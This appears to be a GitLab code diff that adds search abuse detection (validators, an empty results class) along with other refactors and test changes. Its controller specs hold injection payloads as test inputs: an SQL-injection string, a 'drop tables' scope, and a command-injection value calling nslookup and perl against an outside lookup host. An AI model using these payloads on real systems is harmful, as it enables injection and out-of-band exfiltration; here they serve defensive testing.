### Remove the `:dependency_proxy_for_private_groups` feature flag
|
||||
|
||||
We added a feature flag because [GitLab-#11582](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) changed how public groups use the Dependency Proxy. Prior to this change, you could use the Dependency Proxy without authentication. The change requires authentication to use the Dependency Proxy.
|
||||
|
|
|
|||
|
|
@ -42,6 +42,11 @@ system note in the issue's comments.
|
|||
|
||||

|
||||
|
||||
When an issue is made confidential, only users with at least the [Reporter role](../../permissions.md)
|
||||
for the project have access to the issue.
|
||||
Users with Guest or [Minimal](../../permissions.md#users-with-minimal-access) roles can't access
|
||||
the issue even if they were actively participating before the change.
|
||||
|
||||
## Indications of a confidential issue
|
||||
|
||||
There are a few things that visually separate a confidential issue from a
|
||||
|
|
|
|||
|
|
@ -0,0 +1,18 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Gitlab
|
||||
module Abuse
|
||||
CONFIDENCE_LEVELS = {
|
||||
certain: 1.0,
|
||||
likely: 0.8,
|
||||
uncertain: 0.5,
|
||||
unknown: 0.0
|
||||
}.freeze
|
||||
|
||||
class << self
|
||||
def confidence(rating)
|
||||
CONFIDENCE_LEVELS.fetch(rating.to_sym)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Gitlab
|
||||
# This class has the same interface as SearchResults except
|
||||
# it is empty and does not do any work.
|
||||
#
|
||||
# We use this when responding to abusive search requests.
|
||||
class EmptySearchResults
|
||||
def initialize(*)
|
||||
end
|
||||
|
||||
def objects(*)
|
||||
Kaminari.paginate_array([])
|
||||
end
|
||||
|
||||
def formatted_count(*)
|
||||
'0'
|
||||
end
|
||||
|
||||
def highlight_map(*)
|
||||
{}
|
||||
end
|
||||
|
||||
def aggregations(*)
|
||||
[]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -66,19 +66,11 @@ module Gitlab
|
|||
end
|
||||
|
||||
def lhs_neighbour
|
||||
scoped_items
|
||||
.where('relative_position < ?', relative_position)
|
||||
.reorder(relative_position: :desc)
|
||||
.first
|
||||
.then { |x| neighbour(x) }
|
||||
neighbour(object.next_object_by_relative_position(ignoring: ignoring, order: :desc))
|
||||
end
|
||||
|
||||
def rhs_neighbour
|
||||
scoped_items
|
||||
.where('relative_position > ?', relative_position)
|
||||
.reorder(relative_position: :asc)
|
||||
.first
|
||||
.then { |x| neighbour(x) }
|
||||
neighbour(object.next_object_by_relative_position(ignoring: ignoring, order: :asc))
|
||||
end
|
||||
|
||||
def neighbour(item)
|
||||
|
|
@ -87,12 +79,6 @@ module Gitlab
|
|||
self.class.new(item, range, ignoring: ignoring)
|
||||
end
|
||||
|
||||
def scoped_items
|
||||
r = model_class.relative_positioning_query_base(object)
|
||||
r = object.exclude_self(r, excluded: ignoring) if ignoring.present?
|
||||
r
|
||||
end
|
||||
|
||||
def calculate_relative_position(calculation)
|
||||
# When calculating across projects, this is much more efficient than
|
||||
# MAX(relative_position) without the GROUP BY, due to index usage:
|
||||
|
|
@ -186,6 +172,10 @@ module Gitlab
|
|||
Gap.new(gap.first, gap.second || default_end)
|
||||
end
|
||||
|
||||
def scoped_items
|
||||
object.relative_positioning_scoped_items(ignoring: ignoring)
|
||||
end
|
||||
|
||||
def relative_position
|
||||
object.relative_position
|
||||
end
|
||||
|
|
|
|||
|
|
@ -0,0 +1,81 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Gitlab
|
||||
module Search
|
||||
class AbuseDetection
|
||||
include ActiveModel::Validations
|
||||
include AbuseValidators
|
||||
|
||||
ABUSIVE_TERM_SIZE = 100
|
||||
ALLOWED_CHARS_REGEX = %r{\A[[:alnum:]_\-\/\.!]+\z}.freeze
|
||||
MINIMUM_SEARCH_CHARS = 2
|
||||
|
||||
ALLOWED_SCOPES = %w(
|
||||
blobs
|
||||
code
|
||||
commits
|
||||
epics
|
||||
issues
|
||||
merge_requests
|
||||
milestones
|
||||
notes
|
||||
projects
|
||||
snippet_titles
|
||||
users
|
||||
wiki_blobs
|
||||
).freeze
|
||||
|
||||
READABLE_PARAMS = %i(
|
||||
group_id
|
||||
project_id
|
||||
project_ref
|
||||
query_string
|
||||
repository_ref
|
||||
scope
|
||||
).freeze
|
||||
|
||||
STOP_WORDS = %w(
|
||||
a an and are as at be but by for if in into is it no not of on or such that the their then there these they this to was will with
|
||||
).freeze
|
||||
|
||||
validates :project_id, :group_id,
|
||||
numericality: { only_integer: true, message: "abusive ID detected" }, allow_blank: true
|
||||
|
||||
validates :scope, inclusion: { in: ALLOWED_SCOPES, message: 'abusive scope detected' }, allow_blank: true
|
||||
|
||||
validates :repository_ref, :project_ref,
|
||||
format: { with: ALLOWED_CHARS_REGEX, message: "abusive characters detected" }, allow_blank: true
|
||||
|
||||
validates :query_string,
|
||||
exclusion: { in: STOP_WORDS, message: 'stopword only abusive search detected' }, allow_blank: true
|
||||
|
||||
validates :query_string,
|
||||
length: { minimum: MINIMUM_SEARCH_CHARS, message: 'abusive tiny search detected' }, unless: :skip_tiny_search_validation?, allow_blank: true
|
||||
|
||||
validates :query_string,
|
||||
no_abusive_term_length: { maximum: ABUSIVE_TERM_SIZE, maximum_for_url: ABUSIVE_TERM_SIZE * 2 }
|
||||
|
||||
validates :query_string, :repository_ref, :project_ref, no_abusive_coercion_from_string: true
|
||||
|
||||
attr_reader(*READABLE_PARAMS)
|
||||
|
||||
def initialize(params)
|
||||
READABLE_PARAMS.each { |p| instance_variable_set("@#{p}", params[p]) }
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def skip_tiny_search_validation?
|
||||
wildcard_search? || stop_word_search?
|
||||
end
|
||||
|
||||
def wildcard_search?
|
||||
query_string == '*'
|
||||
end
|
||||
|
||||
def stop_word_search?
|
||||
STOP_WORDS.include? query_string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Gitlab
|
||||
module Search
|
||||
module AbuseValidators
|
||||
class NoAbusiveCoercionFromStringValidator < ActiveModel::EachValidator
|
||||
def validate_each(instance, attribute, value)
|
||||
if value.present? && !value.is_a?(String)
|
||||
instance.errors.add attribute, "abusive coercion from string detected"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Gitlab
|
||||
module Search
|
||||
module AbuseValidators
|
||||
class NoAbusiveTermLengthValidator < ActiveModel::EachValidator
|
||||
def validate_each(instance, attribute, value)
|
||||
return unless value.is_a?(String)
|
||||
|
||||
if value.split.any? { |term| term_too_long?(term) }
|
||||
instance.errors.add attribute, 'abusive term length detected'
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def term_too_long?(term)
|
||||
char_limit = url_detected?(term) ? maximum_for_url : maximum
|
||||
term.length >= char_limit
|
||||
end
|
||||
|
||||
def url_detected?(uri_str)
|
||||
URI::DEFAULT_PARSER.regexp[:ABS_URI].match? uri_str
|
||||
end
|
||||
|
||||
def maximum_for_url
|
||||
options.fetch(:maximum_for_url, maximum)
|
||||
end
|
||||
|
||||
def maximum
|
||||
options.fetch(:maximum)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,89 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Gitlab
|
||||
module Search
|
||||
class Params
|
||||
include ActiveModel::Validations
|
||||
|
||||
SEARCH_CHAR_LIMIT = 4096
|
||||
SEARCH_TERM_LIMIT = 64
|
||||
|
||||
# Generic validation
|
||||
validates :query_string, length: { maximum: SEARCH_CHAR_LIMIT }
|
||||
validate :not_too_many_terms
|
||||
|
||||
attr_reader :raw_params, :query_string, :abuse_detection
|
||||
alias_method :search, :query_string
|
||||
alias_method :term, :query_string
|
||||
|
||||
def initialize(params, detect_abuse: true)
|
||||
@raw_params = params.is_a?(Hash) ? params.with_indifferent_access : params.dup
|
||||
@query_string = strip_surrounding_whitespace(@raw_params[:search] || @raw_params[:term])
|
||||
@detect_abuse = detect_abuse
|
||||
@abuse_detection = AbuseDetection.new(self) if @detect_abuse
|
||||
|
||||
validate
|
||||
end
|
||||
|
||||
def [](key)
|
||||
if respond_to? key
|
||||
# We have this logic here to support reading custom attributes
|
||||
# like @query_string
|
||||
#
|
||||
# This takes precedence over values in @raw_params
|
||||
public_send(key) # rubocop:disable GitlabSecurity/PublicSend
|
||||
else
|
||||
raw_params[key]
|
||||
end
|
||||
end
|
||||
|
||||
def abusive?
|
||||
detect_abuse? && abuse_detection.errors.any?
|
||||
end
|
||||
|
||||
def valid_query_length?
|
||||
return true unless errors.has_key? :query_string
|
||||
|
||||
errors[:query_string].none? { |msg| msg.include? SEARCH_CHAR_LIMIT.to_s }
|
||||
end
|
||||
|
||||
def valid_terms_count?
|
||||
return true unless errors.has_key? :query_string
|
||||
|
||||
errors[:query_string].none? { |msg| msg.include? SEARCH_TERM_LIMIT.to_s }
|
||||
end
|
||||
|
||||
def validate
|
||||
if detect_abuse?
|
||||
abuse_detection.validate
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def valid?
|
||||
if detect_abuse?
|
||||
abuse_detection.valid? && super
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def detect_abuse?
|
||||
@detect_abuse
|
||||
end
|
||||
|
||||
def not_too_many_terms
|
||||
if query_string.split.count { |word| word.length >= 3 } > SEARCH_TERM_LIMIT
|
||||
errors.add :query_string, "has too many search terms (maximum is #{SEARCH_TERM_LIMIT})"
|
||||
end
|
||||
end
|
||||
|
||||
def strip_surrounding_whitespace(obj)
|
||||
obj.to_s.strip
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -127,21 +127,26 @@ RSpec.describe SearchController do
|
|||
|
||||
context 'check search term length' do
|
||||
let(:search_queries) do
|
||||
char_limit = SearchService::SEARCH_CHAR_LIMIT
|
||||
term_limit = SearchService::SEARCH_TERM_LIMIT
|
||||
char_limit = Gitlab::Search::Params::SEARCH_CHAR_LIMIT
|
||||
term_limit = Gitlab::Search::Params::SEARCH_TERM_LIMIT
|
||||
term_char_limit = Gitlab::Search::AbuseDetection::ABUSIVE_TERM_SIZE
|
||||
{
|
||||
chars_under_limit: ('a' * (char_limit - 1)),
|
||||
chars_over_limit: ('a' * (char_limit + 1)),
|
||||
terms_under_limit: ('abc ' * (term_limit - 1)),
|
||||
terms_over_limit: ('abc ' * (term_limit + 1))
|
||||
chars_under_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit],
|
||||
chars_over_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit + 1],
|
||||
terms_under_limit: ('abc ' * (term_limit - 1)),
|
||||
terms_over_limit: ('abc ' * (term_limit + 1)),
|
||||
term_length_over_limit: ('a' * (term_char_limit + 1)),
|
||||
term_length_under_limit: ('a' * (term_char_limit - 1))
|
||||
}
|
||||
end
|
||||
|
||||
where(:string_name, :expectation) do
|
||||
:chars_under_limit | :not_to_set_flash
|
||||
:chars_over_limit | :set_chars_flash
|
||||
:terms_under_limit | :not_to_set_flash
|
||||
:terms_over_limit | :set_terms_flash
|
||||
:chars_under_limit | :not_to_set_flash
|
||||
:chars_over_limit | :set_chars_flash
|
||||
:terms_under_limit | :not_to_set_flash
|
||||
:terms_over_limit | :set_terms_flash
|
||||
:term_length_under_limit | :not_to_set_flash
|
||||
:term_length_over_limit | :not_to_set_flash # abuse, so do nothing.
|
||||
end
|
||||
|
||||
with_them do
|
||||
|
|
@ -187,6 +192,14 @@ RSpec.describe SearchController do
|
|||
expect(response).to have_gitlab_http_status(:ok)
|
||||
end
|
||||
end
|
||||
|
||||
context 'handling abusive search_terms' do
|
||||
it 'succeeds but does NOT do anything' do
|
||||
get :show, params: { scope: 'projects', search: '*', repository_ref: '-1%20OR%203%2B640-640-1=0%2B0%2B0%2B1' }
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
expect(assigns(:search_results)).to be_a Gitlab::EmptySearchResults
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'tab feature flags' do
|
||||
|
|
@ -221,16 +234,6 @@ RSpec.describe SearchController do
|
|||
end
|
||||
end
|
||||
|
||||
it 'strips surrounding whitespace from search query' do
|
||||
get :show, params: { scope: 'notes', search: ' foobar ' }
|
||||
expect(assigns[:search_term]).to eq 'foobar'
|
||||
end
|
||||
|
||||
it 'strips surrounding whitespace from autocomplete term' do
|
||||
expect(controller).to receive(:search_autocomplete_opts).with('youcompleteme')
|
||||
get :autocomplete, params: { term: ' youcompleteme ' }
|
||||
end
|
||||
|
||||
it 'finds issue comments' do
|
||||
project = create(:project, :public)
|
||||
note = create(:note_on_issue, project: project)
|
||||
|
|
@ -289,7 +292,7 @@ RSpec.describe SearchController do
|
|||
end
|
||||
end
|
||||
|
||||
describe 'GET #count' do
|
||||
describe 'GET #count', :aggregate_failures do
|
||||
it_behaves_like 'when the user cannot read cross project', :count, { search: 'hello', scope: 'projects' }
|
||||
it_behaves_like 'with external authorization service enabled', :count, { search: 'hello', scope: 'projects' }
|
||||
it_behaves_like 'support for active record query timeouts', :count, { search: 'hello', scope: 'projects' }, :search_results, :json
|
||||
|
|
@ -323,12 +326,38 @@ RSpec.describe SearchController do
|
|||
|
||||
expect(response.headers['Cache-Control']).to eq('private, no-store')
|
||||
end
|
||||
|
||||
it 'does NOT blow up if search param is NOT a string' do
|
||||
get :count, params: { search: ['hello'], scope: 'projects' }
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
expect(json_response).to eq({ 'count' => '0' })
|
||||
|
||||
get :count, params: { search: { nested: 'hello' }, scope: 'projects' }
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
expect(json_response).to eq({ 'count' => '0' })
|
||||
end
|
||||
|
||||
it 'does NOT blow up if repository_ref contains abusive characters' do
|
||||
get :count, params: {
|
||||
search: 'hello',
|
||||
repository_ref: "(nslookup%20hitqlwv501f.somewhere.bad%7C%7Cperl%20-e%20%22gethostbyname('hitqlwv501f.somewhere.bad')%22)",
|
||||
scope: 'projects'
|
||||
}
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
expect(json_response).to eq({ 'count' => '0' })
|
||||
end
|
||||
end
|
||||
|
||||
describe 'GET #autocomplete' do
|
||||
it_behaves_like 'when the user cannot read cross project', :autocomplete, { term: 'hello' }
|
||||
it_behaves_like 'with external authorization service enabled', :autocomplete, { term: 'hello' }
|
||||
it_behaves_like 'support for active record query timeouts', :autocomplete, { term: 'hello' }, :project, :json
|
||||
|
||||
it 'returns an empty array when given abusive search term' do
|
||||
get :autocomplete, params: { term: ('hal' * 9000), scope: 'projects' }
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
expect(json_response).to match_array([])
|
||||
end
|
||||
end
|
||||
|
||||
describe '#append_info_to_payload' do
|
||||
|
|
@ -358,6 +387,35 @@ RSpec.describe SearchController do
|
|||
get :show, params: { search: 'hello world', group_id: '123', project_id: '456' }
|
||||
end
|
||||
end
|
||||
|
||||
context 'abusive searches', :aggregate_failures do
|
||||
let(:project) { create(:project, :public, name: 'hello world') }
|
||||
let(:make_abusive_request) do
|
||||
get :show, params: { scope: '1;drop%20tables;boom', search: 'hello world', project_id: project.id }
|
||||
end
|
||||
|
||||
before do
|
||||
enable_external_authorization_service_check
|
||||
end
|
||||
|
||||
it 'returns EmptySearchResults' do
|
||||
expect(Gitlab::EmptySearchResults).to receive(:new).and_call_original
|
||||
make_abusive_request
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
end
|
||||
|
||||
context 'when the feature flag is disabled' do
|
||||
before do
|
||||
stub_feature_flags(prevent_abusive_searches: false)
|
||||
end
|
||||
|
||||
it 'returns a regular search result' do
|
||||
expect(Gitlab::EmptySearchResults).not_to receive(:new)
|
||||
make_abusive_request
|
||||
expect(response).to have_gitlab_http_status(:ok)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'unauthorized user' do
|
||||
|
|
|
|||
|
|
@ -12,7 +12,7 @@ RSpec.describe 'Issue board filters', :js do
|
|||
let_it_be(:release) { create(:release, tag: 'v1.0', project: project, milestones: [milestone_1]) }
|
||||
let_it_be(:release_2) { create(:release, tag: 'v2.0', project: project, milestones: [milestone_2]) }
|
||||
let_it_be(:issue_1) { create(:issue, project: project, milestone: milestone_1, author: user) }
|
||||
let_it_be(:issue_2) { create(:labeled_issue, project: project, milestone: milestone_2, assignees: [user], labels: [project_label]) }
|
||||
let_it_be(:issue_2) { create(:labeled_issue, project: project, milestone: milestone_2, assignees: [user], labels: [project_label], confidential: true) }
|
||||
let_it_be(:award_emoji1) { create(:award_emoji, name: 'thumbsup', user: user, awardable: issue_1) }
|
||||
|
||||
let(:filtered_search) { find('[data-testid="issue_1-board-filtered-search"]') }
|
||||
|
|
@ -100,6 +100,25 @@ RSpec.describe 'Issue board filters', :js do
|
|||
end
|
||||
end
|
||||
|
||||
describe 'filters by confidentiality' do
|
||||
before do
|
||||
filter_input.click
|
||||
filter_input.set("confidential:")
|
||||
end
|
||||
|
||||
it 'loads all the confidentiality options when opened and submit one as filter', :aggregate_failures do
|
||||
expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
|
||||
|
||||
expect_filtered_search_dropdown_results(filter_dropdown, 2)
|
||||
|
||||
filter_dropdown.click_on 'Yes'
|
||||
filter_submit.click
|
||||
|
||||
expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
|
||||
expect(find('.board-card')).to have_content(issue_2.title)
|
||||
end
|
||||
end
|
||||
|
||||
describe 'filters by milestone' do
|
||||
before do
|
||||
set_filter('milestone')
|
||||
|
|
|
|||
|
|
@ -29,6 +29,24 @@ RSpec.describe 'User visits their profile' do
|
|||
expect(find('.file-content')).to have_content('testme')
|
||||
end
|
||||
|
||||
it 'hides empty user readme' do
|
||||
project = create(:project, :repository, :public, path: user.username, namespace: user.namespace)
|
||||
|
||||
Files::UpdateService.new(
|
||||
project,
|
||||
user,
|
||||
start_branch: 'master',
|
||||
branch_name: 'master',
|
||||
commit_message: 'Update feature',
|
||||
file_path: 'README.md',
|
||||
file_content: ''
|
||||
).execute
|
||||
|
||||
visit(user_path(user))
|
||||
|
||||
expect(page).not_to have_selector('.file-content')
|
||||
end
|
||||
|
||||
context 'when user has groups' do
|
||||
let(:group) do
|
||||
create :group do |group|
|
||||
|
|
|
|||
|
|
@ -552,7 +552,20 @@ export const mockEmojiToken = {
|
|||
fetchEmojis: expect.any(Function),
|
||||
};
|
||||
|
||||
export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji) => [
|
||||
export const mockConfidentialToken = {
|
||||
type: 'confidential',
|
||||
icon: 'eye-slash',
|
||||
title: 'Confidential',
|
||||
unique: true,
|
||||
token: GlFilteredSearchToken,
|
||||
operators: [{ value: '=', description: 'is' }],
|
||||
options: [
|
||||
{ icon: 'eye-slash', value: 'yes', title: 'Yes' },
|
||||
{ icon: 'eye', value: 'no', title: 'No' },
|
||||
],
|
||||
};
|
||||
|
||||
export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, isSignedIn) => [
|
||||
{
|
||||
icon: 'user',
|
||||
title: __('Assignee'),
|
||||
|
|
@ -593,7 +606,7 @@ export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji)
|
|||
symbol: '~',
|
||||
fetchLabels,
|
||||
},
|
||||
...(hasEmoji ? [mockEmojiToken] : []),
|
||||
...(isSignedIn ? [mockEmojiToken, mockConfidentialToken] : []),
|
||||
{
|
||||
icon: 'clock',
|
||||
title: __('Milestone'),
|
||||
|
|
|
|||
|
|
@ -13,7 +13,6 @@ Array [
|
|||
"id": "6",
|
||||
"name": "build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
|
||||
"needs": Array [],
|
||||
"previousStageJobsOrNeeds": Array [],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -54,7 +53,6 @@ Array [
|
|||
"id": "11",
|
||||
"name": "build_b",
|
||||
"needs": Array [],
|
||||
"previousStageJobsOrNeeds": Array [],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -95,7 +93,6 @@ Array [
|
|||
"id": "16",
|
||||
"name": "build_c",
|
||||
"needs": Array [],
|
||||
"previousStageJobsOrNeeds": Array [],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -136,7 +133,6 @@ Array [
|
|||
"id": "21",
|
||||
"name": "build_d 1/3",
|
||||
"needs": Array [],
|
||||
"previousStageJobsOrNeeds": Array [],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -161,7 +157,6 @@ Array [
|
|||
"id": "24",
|
||||
"name": "build_d 2/3",
|
||||
"needs": Array [],
|
||||
"previousStageJobsOrNeeds": Array [],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -186,7 +181,6 @@ Array [
|
|||
"id": "27",
|
||||
"name": "build_d 3/3",
|
||||
"needs": Array [],
|
||||
"previousStageJobsOrNeeds": Array [],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -227,7 +221,6 @@ Array [
|
|||
"id": "59",
|
||||
"name": "test_c",
|
||||
"needs": Array [],
|
||||
"previousStageJobsOrNeeds": Array [],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -274,11 +267,6 @@ Array [
|
|||
"build_b",
|
||||
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
|
||||
],
|
||||
"previousStageJobsOrNeeds": Array [
|
||||
"build_c",
|
||||
"build_b",
|
||||
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
|
||||
],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -325,13 +313,6 @@ Array [
|
|||
"build_b",
|
||||
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
|
||||
],
|
||||
"previousStageJobsOrNeeds": Array [
|
||||
"build_d 3/3",
|
||||
"build_d 2/3",
|
||||
"build_d 1/3",
|
||||
"build_b",
|
||||
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
|
||||
],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -362,13 +343,6 @@ Array [
|
|||
"build_b",
|
||||
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
|
||||
],
|
||||
"previousStageJobsOrNeeds": Array [
|
||||
"build_d 3/3",
|
||||
"build_d 2/3",
|
||||
"build_d 1/3",
|
||||
"build_b",
|
||||
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
|
||||
],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
@ -411,9 +385,6 @@ Array [
|
|||
"needs": Array [
|
||||
"build_b",
|
||||
],
|
||||
"previousStageJobsOrNeeds": Array [
|
||||
"build_b",
|
||||
],
|
||||
"scheduledAt": null,
|
||||
"status": Object {
|
||||
"__typename": "DetailedStatus",
|
||||
|
|
|
|||
|
|
@ -73,10 +73,6 @@ export const mockPipelineResponse = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -122,10 +118,6 @@ export const mockPipelineResponse = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -171,10 +163,6 @@ export const mockPipelineResponse = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -220,10 +208,6 @@ export const mockPipelineResponse = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
},
|
||||
{
|
||||
__typename: 'CiJob',
|
||||
|
|
@ -251,10 +235,6 @@ export const mockPipelineResponse = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
},
|
||||
{
|
||||
__typename: 'CiJob',
|
||||
|
|
@ -282,10 +262,6 @@ export const mockPipelineResponse = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -363,27 +339,6 @@ export const mockPipelineResponse = {
|
|||
},
|
||||
],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '37',
|
||||
name: 'build_c',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '38',
|
||||
name: 'build_b',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '39',
|
||||
name:
|
||||
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -456,37 +411,6 @@ export const mockPipelineResponse = {
|
|||
},
|
||||
],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '45',
|
||||
name: 'build_d 3/3',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '46',
|
||||
name: 'build_d 2/3',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '47',
|
||||
name: 'build_d 1/3',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '48',
|
||||
name: 'build_b',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '49',
|
||||
name:
|
||||
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
{
|
||||
__typename: 'CiJob',
|
||||
|
|
@ -541,37 +465,6 @@ export const mockPipelineResponse = {
|
|||
},
|
||||
],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '52',
|
||||
name: 'build_d 3/3',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '53',
|
||||
name: 'build_d 2/3',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '54',
|
||||
name: 'build_d 1/3',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '55',
|
||||
name: 'build_b',
|
||||
},
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '56',
|
||||
name:
|
||||
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -610,10 +503,6 @@ export const mockPipelineResponse = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -658,16 +547,6 @@ export const mockPipelineResponse = {
|
|||
},
|
||||
],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [
|
||||
{
|
||||
__typename: 'CiBuildNeed',
|
||||
id: '65',
|
||||
name: 'build_b',
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
|
|
@ -841,10 +720,6 @@ export const wrappedPipelineReturn = {
|
|||
__typename: 'CiBuildNeedConnection',
|
||||
nodes: [],
|
||||
},
|
||||
previousStageJobsOrNeeds: {
|
||||
__typename: 'CiJobConnection',
|
||||
nodes: [],
|
||||
},
|
||||
